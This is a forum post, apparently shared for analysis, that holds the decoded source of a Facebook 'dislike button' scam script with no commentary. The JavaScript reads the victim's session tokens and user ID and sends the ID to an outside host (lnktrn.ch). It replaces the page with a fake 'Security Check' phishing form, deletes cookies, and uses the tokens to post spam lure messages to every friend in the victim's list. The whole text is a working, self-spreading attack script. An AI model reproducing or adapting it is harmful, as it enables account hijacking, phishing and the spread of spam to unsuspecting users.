Decoded Facebook Dislike Button Scam Script

[Nick]

Code: [Select]

/* Original script http://pastebin.com/Y6ZATxDk */

var dddoak = "http://bit.ly/ktr48P";

var s = 'http://lnktrn.ch/dislike';
var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var uid = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var g = s['indexOf']('lnk') != -1;
if (g == true) {
    var token = 0;
} else {
    var token = 1;
    var post_form_id = '';
    var fb_dtsg = '';
};
if (token == '0') {
    launchpixel = new Image();
    launchpixel['src'] = 'http://lnktrn.ch/dislike/pixel.php?userid=' + uid;
    var content = document['getElementById']('contentCol');
    content['innerHTML'] = '<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle">Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid=4" class="mtm"><div id="thebutton"><br /><h3>Loading..</h3><br /><img src="http://static.ak.fbcdn.net/rsrc.php/v1/z9/r/jKEcVPZFk-2.gif"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>';

    function updatelol() {
        content['innerHTML'] = '<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle"> Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid=' + uid + '" class="mtm"><div id="thebutton"><label for="u508675_1" class="uiButton uiButtonConfirm"><input type="submit" id="u508675_1" value="Continue"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>';
        document['cookie'] = 'lsd=deleted';
        document['cookie'] = 'e=deleted';
    };
    var sec = s['charAt'](23);
    var friends = new Array();
    gf = new XMLHttpRequest();
    gf['open']('GET', '/ajax/typeah' + sec + 'ad/first_degree.php?__a=1&filter[0]=user&viewer=' + uid + '&' + Math['random'](), false);
    gf['send']();
    if (gf['readyState'] != 4) {} else {
        data = eval('(' + gf['responseText']['substr'](9) + ')');
        if (data['error']) {} else {
            friends = data['payload']['entries']['sort'](function (_0xf6bcxb, _0xf6bcxc) {
                return _0xf6bcxb['index'] - _0xf6bcxc['index'];
            });
        };
    };
    for (var i = 0; i < friends['length']; i++) {
        keywords = ['added the', 'launched', 'released the'];
        var keyword = keywords[Math['floor'](Math['random']() * keywords['length'])];
        onwords = ['on', 'On'];
        var onword = onwords[Math['floor'](Math['random']() * onwords['length'])];
        apterms = ['profile', 'account'];
        var apterm = apterms[Math['floor'](Math['random']() * apterms['length'])];
        var message = 'Facebook just ' + keyword + ' dislike button! Click ' + onword + ' \'Activate Dislike Button\' below to enable it on your ' + apterm + '!';
        var myText = 'Activate Dislike Button';
        var newlink = 'http://www.livejournal.com/misc/get_domain_session.bml?return=' + dddoak + '';
        var appids = ['6261817190', '6628568379', '350685531728', '2254487659', '41158896424', '4620273157', '135892916448833'];
        var appid = appids[Math['floor'](Math['random']() * appids['length'])];
        var httpwp = new XMLHttpRequest();
        var urlwp = '/fbml/ajax/prompt_feed.php?__a=1';
        var paramswp = '&__d=1&app_id=' + appid + '&extern=1&' + '&post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&feed_info[action_links][0][href]=' + encodeURIComponent(newlink) + '&feed_info[action_links][0][text]=' + encodeURIComponent(myText) + '&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=' + friends[i]['uid'] + '&user_message=' + message;
        httpwp['open']('POST', urlwp, true);
        httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
        httpwp['setRequestHeader']('Content-length', paramswp['length']);
        httpwp['setRequestHeader']('Connection', 'keep-alive');
        httpwp['onreadystatechange'] = function () {
            if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
        };
        httpwp['send'](paramswp);
    };
    setTimeout('updatelol()', 3000);
};